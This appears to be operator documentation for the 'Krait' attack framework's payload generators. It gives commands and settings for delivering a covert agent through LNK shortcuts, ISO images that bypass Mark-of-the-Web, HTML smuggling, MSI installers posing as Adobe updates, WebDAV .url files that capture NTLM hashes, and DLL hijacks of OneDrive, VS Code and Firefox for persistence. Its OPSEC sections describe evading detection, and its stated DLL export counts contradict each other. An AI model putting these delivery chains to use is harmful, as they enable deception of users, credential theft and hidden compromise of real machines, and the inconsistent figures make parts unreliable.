← Documentation / Operator Guide

Payload Generators

Generate delivery wrappers — LNK, ISO, HTML smuggling, MSI, DLL hijack, URL shortcuts

Krait includes six payload generators that wrap your compiled agent into delivery formats suitable for initial access and persistence. Generators are available through the Web UI (Payloads page) and the CLI.

All generators run on the server side — they take a built agent binary on the server’s filesystem and produce a wrapped output in the payloads/ directory. No Windows tooling is required; everything cross-compiles on Linux.

Common Concepts

payload_path

Every generator takes a payload_path parameter. This is a path on the Krait server, not on the target. It points to the compiled agent binary the generator should wrap.

# Correct — path where the agent binary lives on the server
/home/kali/krait-4.0.0-standard/build/agent.exe

# Wrong — this is a path on the target, not the server
C:\Users\Public\agent.exe

Output Directory

All generated files are written to the payloads/ directory under the server root. Each output filename includes a timestamp and random suffix to avoid collisions:

payloads/20261008_142305_abcd_agent.lnk
payloads/20261008_142412_efgh_agent.iso

Parent Process Check

Krait agents verify their parent process at startup to detect sandboxing. Some delivery methods launch the payload through an intermediary process (cmd.exe, msiexec.exe, powershell.exe, etc.) instead of directly from explorer.exe. When building agents for these delivery methods, use the --no-parent-check flag:

Delivery MethodParent ProcessNeeds --no-parent-check?
ISO double-clickexplorer.exeNo
LNK (method: direct)cmd.exeYes
LNK (method: powershell)powershell.exeYes
LNK (method: rundll32)rundll32.exeYes
LNK (method: mshta)mshta.exeYes
HTML smuggling (user downloads and runs)explorer.exeNo
MSI installmsiexec.exeYes
URL shortcut (WebDAV)explorer.exeNo
DLL hijackTarget app (Code.exe, etc.)Yes

LNK — Windows Shortcut

Creates a .lnk shortcut file that executes the payload when double-clicked. Implements the MS-SHLLINK binary format from scratch — no Windows COM required, works entirely on Linux.

Use case: Drop a .lnk on a file share, USB, or desktop. The user double-clicks what looks like a document or folder shortcut and the agent runs.

Important: The LNK file does not embed the payload. It references the payload’s basename on the target filesystem. You must place the agent binary alongside the LNK or at the path specified in the target parameter.

Parameters

ParameterTypeDefaultDescription
methodchoicedirectExecution method: direct, powershell, rundll32, mshta
iconstring—Icon source path (PE on target), e.g. C:\Windows\System32\shell32.dll
icon_indexinteger0Icon resource index within the PE
descriptionstring—Tooltip text shown on hover
argsstring—Extra command-line arguments passed to the payload
working_dirstring—Working directory, e.g. C:\Users\Public
pad_argsbooleantrueSpace-pad arguments to hide them in the Properties dialog
targetstring—Override target path on victim (default: payload basename in same directory)

Execution Methods

  • direct — Uses cmd.exe /c "payload.exe". Simple, reliable. Parent process is cmd.exe → needs --no-parent-check.
  • powershell — Uses powershell.exe -w hidden -nop -ep bypass -c "Start-Process 'payload.exe'". Hidden window, bypass execution policy. Parent is powershell.exe.
  • rundll32 — Uses rundll32.exe payload.dll,DllMain. For DLL payloads. Parent is rundll32.exe.
  • mshta — Uses mshta.exe payload. For HTA payloads. Parent is mshta.exe.

Web UI Example

  1. Go to the Payloads page
  2. Select lnk from the generator dropdown
  3. Enter the payload path on the server: /home/kali/krait-4.0.0-standard/build/agent.exe
  4. Set method to direct
  5. Set icon to C:\Windows\System32\imageres.dll (folder icon)
  6. Set icon_index to 3
  7. Set description to Company Documents
  8. Click Generate

CLI Example

krait » generate lnk /home/kali/krait-4.0.0-standard/build/agent.exe --method direct --icon "C:\Windows\System32\imageres.dll" --icon-index 3 --description "Company Documents"

Deployment

  1. Download the generated .lnk from the Payloads page
  2. Place the agent binary (agent.exe) on the target — same directory as the LNK, or at the path specified in target
  3. Place the .lnk where the user will find it (desktop, file share, USB)
  4. User double-clicks the LNK → agent runs

OPSEC

  • The pad_args option (enabled by default) inserts 512+ spaces before the command-line arguments so they’re not visible in the shortcut’s Properties dialog
  • The shortcut shows SW_SHOWMINNOACTIVE — the window starts minimized
  • Choose an appropriate icon (folder, PDF, Word doc) from shell32.dll or imageres.dll to match the social engineering pretext
  • No ExtraData section is written, so no machine/username metadata leaks into the LNK

ISO — Container Image

Creates an ISO 9660 (or IMG) image containing the payload. When the user double-clicks the ISO on Windows 10/11, it auto-mounts as a virtual drive. Files inside a mounted ISO do not carry Mark-of-the-Web zone identifiers, bypassing SmartScreen and other MOTW-based protections.

Use case: Deliver an agent through email or download. The ISO mounts on double-click and the user runs the payload from the virtual drive without SmartScreen warnings.

Important: The ISO generator embeds the payload file inside the image. The payload_path is an operator-side path — the file is read from the server and packed into the ISO.

Parameters

ParameterTypeDefaultDescription
lnkbooleanfalseAuto-generate a LNK inside the ISO pointing to the payload
lnk_methodchoicedirectLNK execution method: direct, powershell, rundll32, mshta
lnk_descriptionstring—LNK tooltip text
lnk_iconstring—LNK icon path (PE on target)
decoystring—Path to a decoy document on the server to include in the ISO
labelstringDATAISO volume label (max 32 characters)
formatchoiceisoOutput format: iso or img
hidden_payloadbooleantrueHide the payload file inside the ISO (visible files: LNK and/or decoy only)

Web UI Example

  1. Go to the Payloads page
  2. Select iso from the generator dropdown
  3. Enter the payload path: /home/kali/krait-4.0.0-standard/build/agent.exe
  4. Check lnk to auto-generate a LNK inside the ISO
  5. Set lnk_method to direct
  6. Set lnk_description to Q4 Financial Report
  7. Set lnk_icon to C:\Windows\System32\shell32.dll
  8. Set label to FINANCIALS
  9. Leave hidden_payload checked
  10. Click Generate

CLI Example

krait » generate iso /home/kali/krait-4.0.0-standard/build/agent.exe --lnk true --lnk-method direct --lnk-description "Q4 Financial Report" --label FINANCIALS --hidden-payload true

Deployment

  1. Download the generated .iso from the Payloads page
  2. Deliver to target via email attachment, file share, USB, or web download
  3. User double-clicks the ISO → Windows mounts it as a virtual drive (e.g., D:\)
  4. User sees only the LNK (and/or decoy) — the actual payload is hidden
  5. User double-clicks the LNK → agent runs without SmartScreen warning

OPSEC

  • With hidden_payload: true, the agent binary is set as a hidden file in the ISO — only the LNK and decoy are visible in Explorer
  • The ISO itself may trigger a MOTW warning on download, but files inside the mounted ISO do not inherit MOTW
  • Use a convincing volume label (e.g., FINANCIALS, HR_DOCS) — it shows in the drive name after mounting
  • When using lnk with method direct, the LNK’s parent process will be cmd.exe → build the agent with --no-parent-check
  • When the user double-clicks the ISO to mount it and then double-clicks the payload EXE directly (no LNK), the parent is explorer.exe → no flag needed
  • Requires genisoimage or mkisofs on the server (usually pre-installed on Kali)

HTML — HTML Smuggling

Embeds the payload inside an HTML file using JavaScript-based encoding. The payload is reconstructed client-side in the browser and offered as a download. The binary payload never crosses the network in its original form — it bypasses network inspection, proxies, and email gateways.

Use case: Send a link to the HTML page (hosted on your infrastructure or as an email attachment). The user’s browser assembles the payload from the encoded data and prompts a download.

Encoding Modes

  • XOR (default) — Simple XOR with a random 16-byte key. The key is embedded in the HTML. Good for bypassing basic network inspection.
  • AES — AES-256-CBC encryption. The decryption key is passed in the URL fragment (#key), which is never sent to the server in HTTP requests. The HTML file alone is useless without the correct link.

Parameters

ParameterTypeDefaultDescription
encodingchoicexorEncoding method: xor or aes
filenamestringpayload basenameDownload filename presented to the user
templatechoicedocument-viewerPage template: document-viewer, software-update, file-share
auto_downloadbooleanfalseAuto-download on page load vs. requiring a button click
aes_keystringauto-generatedAES decryption key (only used with aes encoding)

Templates

  • document-viewer — “Secure Document Ready” with a “Download Document” button
  • software-update — “Update Available” with a “Download Update” button
  • file-share — “File Shared With You” with a “Download File” button

All templates are clean, professional-looking pages with no suspicious elements.

Web UI Example (XOR)

  1. Go to the Payloads page
  2. Select html from the generator dropdown
  3. Enter the payload path: /home/kali/krait-4.0.0-standard/build/agent.exe
  4. Set encoding to xor
  5. Set filename to security_update.exe
  6. Set template to software-update
  7. Click Generate

Web UI Example (AES)

  1. Same as above, but set encoding to aes
  2. Optionally set a custom aes_key (or leave blank for auto-generated)
  3. After generation, note the url_fragment in the response — you must include it in the link: https://your-host/page.html#THE_KEY

CLI Example

krait » generate html /home/kali/krait-4.0.0-standard/build/agent.exe --encoding aes --filename "security_update.exe" --template software-update
[+] Generated: 20261008_143000_abcd_agent.html
    Encoding: aes
    URL fragment: #dGhpc0lzQUtleQ

Deployment

  1. Download the generated .html from the Payloads page
  2. Host it on your infrastructure (web server, S3 bucket, etc.)
  3. For XOR: send the direct URL to the target
  4. For AES: send the URL with the fragment — https://your-host/page.html#dGhpc0lzQUtleQ
  5. User visits the page → clicks “Download” (or auto-downloads) → saves and runs the file

OPSEC

  • Variable names and whitespace are randomized on every generation (polymorphic) — no two outputs have the same JavaScript structure
  • AES mode puts the key in the URL fragment (#key), which is never sent to the server — the ciphertext in the HTML is useless without the full link, and proxies/email gateways can’t extract the key from captured traffic
  • The HTML page itself is clean — no obfuscated JavaScript, no suspicious patterns, just a professional download page
  • Downloaded files will have Mark-of-the-Web — consider pairing with ISO to bypass SmartScreen
  • auto_download: false (default) requires user interaction, which looks more natural than auto-triggering

MSI — Windows Installer

Creates a .msi Windows Installer package that executes the payload via a CustomAction during installation. The payload runs as a deferred, asynchronous action — msiexec starts it and continues the install without waiting.

Use case: Deliver a payload disguised as a legitimate software installer. Supports silent installation (msiexec /quiet) for automated deployment. The CustomAction runs the payload during install, and the payload binary is cleaned up on uninstall.

Parameters

ParameterTypeDefaultDescription
namestringSystem UpdateProduct name shown in the install dialog and Add/Remove Programs
publisherstringMicrosoft CorporationPublisher name shown in the install dialog
elevatebooleanfalseRequest UAC elevation during install (per-machine install scope)

Web UI Example

  1. Go to the Payloads page
  2. Select msi from the generator dropdown
  3. Enter the payload path: /home/kali/krait-4.0.0-standard/build/agent.exe
  4. Set name to Adobe Acrobat Update
  5. Set publisher to Adobe Inc.
  6. Leave elevate unchecked for user-level install (no UAC prompt)
  7. Click Generate

CLI Example

krait » generate msi /home/kali/krait-4.0.0-standard/build/agent.exe --name "Adobe Acrobat Update" --publisher "Adobe Inc."

Deployment

  1. Download the generated .msi from the Payloads page
  2. Deliver to target via email, file share, download, or GPO deployment
  3. Interactive install: User double-clicks the MSI → install dialog appears → payload runs
  4. Silent install: msiexec /quiet /i update.msi — no dialog, payload runs silently
  5. Elevated install (if elevate: true): UAC prompt appears → installs per-machine with admin privileges

OPSEC

  • The CustomAction uses Execute="deferred" and Return="asyncNoWait" — the payload starts and msiexec doesn’t wait for it to finish
  • Payload binary is embedded in the MSI’s cabinet archive — no separate file to deliver
  • With elevate: false, the MSI installs per-user under %LOCALAPPDATA% — no UAC prompt
  • The MSI has a unique Product GUID and Upgrade GUID per generation
  • Parent process is msiexec.exe — build the agent with --no-parent-check
  • Requires wixl (from msitools) on the server — bundled automatically in release packages

URL — WebDAV Delivery

Creates a .url shortcut file (Windows InternetShortcut INI format) pointing to a WebDAV path. When double-clicked, Windows fetches the file via WebDAV, which can capture NTLM authentication hashes and deliver the payload.

Use case: Place a .url file on a file share or deliver via email. When the user double-clicks it, Windows connects to your WebDAV server, potentially leaking NTLM credentials, and downloads/executes the payload. Use --no-auth when you only need file delivery without NTLM capture (e.g., when the target won’t negotiate NTLM over HTTP).

Parameters

ParameterTypeDefaultDescription
urlstringpayload basenameFull WebDAV URL, e.g. \\10.10.10.10\share\agent.exe
no_authbooleanfalseStart WebDAV without NTLM auth (anonymous file serving only)
iconstring—Custom icon path for the shortcut
icon_indexinteger0Icon index
hotkeyinteger0Hotkey value (optional)

Web UI Example

  1. Go to the Payloads page
  2. Select url from the generator dropdown
  3. Enter the payload path: /home/kali/krait-4.0.0-standard/build/agent.exe
  4. Set url to \\YOUR_SERVER_IP\share\agent.exe
  5. Check no_auth if you only need file delivery (skip NTLM capture)
  6. Set icon to C:\Windows\System32\shell32.dll
  7. Set icon_index to 3 (folder icon)
  8. Click Generate — if no_auth is checked, the WebDAV server auto-starts in anonymous mode

CLI Example

# With NTLM capture (default)
krait » webdav start 80
[+] WebDAV server started on 0.0.0.0:80 (NTLM capture)

# Without NTLM capture (anonymous file serving)
krait » webdav start 80 --no-auth
[+] WebDAV server started on 0.0.0.0:80 (anonymous)

krait » generate url /home/kali/krait-4.0.0-standard/build/agent.exe --url "\\10.10.10.10\share\agent.exe" --icon "C:\Windows\System32\shell32.dll" --icon-index 3

Deployment

  1. Start the WebDAV server: webdav start 80 (or webdav start 80 --no-auth for anonymous mode)
  2. Ensure the payload is in the payloads/ directory (the WebDAV server serves from there)
  3. Download the generated .url file
  4. Place it on a file share, USB, or deliver via email
  5. User double-clicks the .url → Windows connects to your WebDAV server via SMB/HTTP
  6. The WebDAV server captures NTLM hashes (if auth is enabled and the client negotiates NTLM) and serves the payload
  7. Check captured hashes: creds list — check WebDAV server status: webdav status

OPSEC

  • The .url file is a plain text INI file — it’s very small and doesn’t contain suspicious binary data
  • NTLM hash capture works automatically when the client attempts NTLM authentication against the WebDAV server
  • Captured hashes are in hashcat format (NTLMv1 mode 5500, NTLMv2 mode 5600) — ready for offline cracking
  • Ensure port 80 or 445 is accessible from the target network for the WebDAV connection
  • The parent process for files opened from a WebDAV share is typically explorer.exe — no --no-parent-check needed

Hijack DLL — Search Order Hijack (Persistence)

Generates a proxy DLL for DLL search order hijacking. The proxy forwards all exports to the real DLL via runtime trampolines while executing the payload on DLL_PROCESS_ATTACH. When the target application loads, it picks up your proxy DLL instead of (or before) the real one.

Note: This is a persistence technique, not initial access. You need write access to the target application’s directory, which typically requires admin privileges for Program Files locations or user-level access for AppData locations.

How It Works

  1. The generator produces a compiled proxy DLL that exports the same functions as the original DLL
  2. Each exported function is a trampoline that jmps to the real function resolved via GetProcAddress at load time
  3. On DLL_PROCESS_ATTACH, the proxy loads the real DLL, resolves all function pointers, then launches the payload via CreateProcessA with CREATE_NO_WINDOW
  4. The target application works normally — all function calls are transparently forwarded

System DLLs vs Application DLLs

Targets fall into two categories:

System DLL targets (onedrive, vscode) — the hijacked DLL has a real copy in C:\Windows\System32\. The proxy loads the real DLL from the system path. No renaming needed — just drop the proxy DLL in the application’s directory and Windows loads it first due to search order.

Application DLL targets (firefox) — the hijacked DLL has no system copy. It only exists in the application’s directory. You must:

  1. Rename the original DLL (e.g., nss3.dll → nss3_real.dll)
  2. Place the proxy DLL with the original name (e.g., nss3.dll)
  3. Place the payload binary in the same directory

The real_dll_name parameter controls the renamed filename. Default: <stem>_real.<ext>.

Parameters

ParameterTypeDefaultDescription
target_appchoice—Target application (see table below)
list_targetsbooleanfalseList all known hijackable targets and their details
exports_dllstring—Path to DLL on the server to extract exports from (overrides built-in export table)
real_dll_namestring<stem>_real.<ext>Renamed original DLL filename (only for app-DLL targets)

Known Targets

TargetDLLTypeInstall PathNeeds exports_dll?Needs real_dll_name?
onedrivesecur32.dllSystem%LOCALAPPDATA%\Microsoft\OneDriveNoNo
vscodeWINMM.dllSystem%LOCALAPPDATA%\Programs\Microsoft VS CodeNoNo
firefoxnss3.dllApp%PROGRAMFILES%\Mozilla FirefoxNo (pre-extracted)Yes

Built-in Export Tables

All targets have pre-extracted export tables — exports_dll is only needed to override with a different version:

  • WINMM.dll — 152 exports (used by vscode)

  • secur32.dll — 54 exports (used by onedrive)

  • nss3.dll — 1349 exports (used by firefox)

Target: OneDrive

DLL: secur32.dll (system) — 53 exports pre-loaded.

OneDrive installs per-user in %LOCALAPPDATA%\Microsoft\OneDrive. User-writable.

krait » generate hijack-dll /home/kali/krait-4.0.0-standard/build/agent.exe --target-app onedrive

Deploy: Copy agent.exe and secur32.dll to %LOCALAPPDATA%\Microsoft\OneDrive\.

Target: VS Code

DLL: WINMM.dll (system) — 181 exports pre-loaded.

VS Code installs per-user in %LOCALAPPDATA%\Programs\Microsoft VS Code. User-writable.

krait » generate hijack-dll /home/kali/krait-4.0.0-standard/build/agent.exe --target-app vscode

Deploy: Copy agent.exe and WINMM.dll to %LOCALAPPDATA%\Programs\Microsoft VS Code\.

Target: Firefox

DLL: nss3.dll (application) — 1349 exports pre-extracted.

Firefox installs in %PROGRAMFILES%\Mozilla Firefox. Requires admin to write.

krait » generate hijack-dll /home/kali/krait-4.0.0-standard/build/agent.exe --target-app firefox --real-dll-name nss3_real.dll

Deploy:

  1. Rename the original: nss3.dll → nss3_real.dll (or whatever you set in real_dll_name)
  2. Copy the generated proxy as nss3.dll
  3. Copy agent.exe to the same directory
  4. When Firefox launches, it loads your proxy nss3.dll, which loads nss3_real.dll for real function calls

OPSEC (All Targets)

  • The proxy DLL is compiled with -O2 -s (optimized, stripped) — no debug symbols
  • Uses asm jump trampolines for export forwarding — no stub functions, no extra stack frames
  • The payload is launched via CreateProcessA with CREATE_NO_WINDOW and STARTF_USESHOWWINDOW / SW_HIDE
  • DisableThreadLibraryCalls is called to avoid repeated DLL_THREAD_ATTACH callbacks
  • No C runtime is linked — pure WinAPI, minimal footprint
  • Parent process is the target application (Code.exe, OneDrive.exe, etc.) — build the agent with --no-parent-check
  • For user-writable targets (OneDrive, VS Code), no admin privileges are needed
  • For Program Files targets (Firefox), admin is required
  • Cross-compiled on Linux with x86_64-w64-mingw32-gcc — requires mingw-w64 installed on the server

Delivery Chains

These examples show complete attack flows combining multiple generators.

Chain 1: ISO + LNK + Hidden Payload

The classic MOTW bypass. An ISO containing a hidden agent and a visible LNK shortcut.

  1. Build the agent with --no-parent-check (the LNK uses cmd.exe)
  2. Generate the ISO with lnk: true and hidden_payload: true
  3. Deliver the ISO via email or download
  4. User double-clicks ISO → mounts as drive → sees only the LNK → double-clicks → agent runs
krait » generate iso /home/kali/krait-4.0.0-standard/build/agent_noparent.exe --lnk true --lnk-method direct --lnk-description "Q4 Results" --lnk-icon "C:\Windows\System32\shell32.dll" --hidden-payload true --label Q4_RESULTS

Chain 2: HTML Smuggling → Dropped EXE

Bypass network inspection entirely. The payload is assembled in the browser.

  1. Build the agent (no special flags — user double-clicks the downloaded file from explorer.exe)
  2. Generate the HTML with AES encoding
  3. Host the HTML on your web server
  4. Send the URL with the AES key fragment to the target
  5. User visits page → clicks “Download” → saves and runs the EXE
krait » generate html /home/kali/krait-4.0.0-standard/build/agent.exe --encoding aes --filename "Q4_Report.exe" --template document-viewer
[+] Generated: 20261008_143000_abcd_agent.html
    URL fragment: #dGhpc0lzQUtleQ
    Send to target: https://your-host/page.html#dGhpc0lzQUtleQ

Chain 3: URL Shortcut → WebDAV → EXE + NTLM Capture

Dual-purpose: deliver the payload and capture NTLM hashes. Use --no-auth if you only need delivery without NTLM capture.

  1. Start the WebDAV server on the Krait server (add --no-auth for anonymous mode)
  2. Build the agent (no special flags — WebDAV delivers to explorer.exe)
  3. Generate the URL shortcut pointing to your WebDAV server
  4. Place the .url file on a network share
  5. User double-clicks .url → Windows connects to WebDAV → NTLM hash captured → payload downloaded
krait » webdav start 80
[+] WebDAV server started on 0.0.0.0:80 (NTLM capture)

krait » generate url /home/kali/krait-4.0.0-standard/build/agent.exe --url "\\YOUR_SERVER_IP\share\agent.exe" --icon "C:\Windows\System32\imageres.dll" --icon-index 3

krait » creds list

Chain 4: MSI Silent Install

Automated payload deployment disguised as a software update.

  1. Build the agent with --no-parent-check (launched by msiexec.exe)
  2. Generate the MSI with convincing product name
  3. Deploy via GPO, SCCM, or manual install
krait » generate msi /home/kali/krait-4.0.0-standard/build/agent_noparent.exe --name "Adobe Acrobat Reader Update" --publisher "Adobe Inc."

# Silent install on target (no dialog, no UAC):
# msiexec /quiet /i update.msi

Chain 5: DLL Hijack Persistence (User-Level)

Persist through an application the user launches daily — no admin needed.

  1. Build the agent with --no-parent-check (launched by the target app)
  2. Generate the proxy DLL for a user-writable target (e.g., VS Code)
  3. Deploy the proxy DLL and agent to the app directory
  4. Every time the user launches VS Code, the agent starts
krait » generate hijack-dll /home/kali/krait-4.0.0-standard/build/agent_noparent.exe --target-app vscode

# Deploy via existing Krait session:
# upload agent_noparent.exe "%LOCALAPPDATA%\Programs\Microsoft VS Code\agent.exe"
# upload WINMM.dll "%LOCALAPPDATA%\Programs\Microsoft VS Code\WINMM.dll"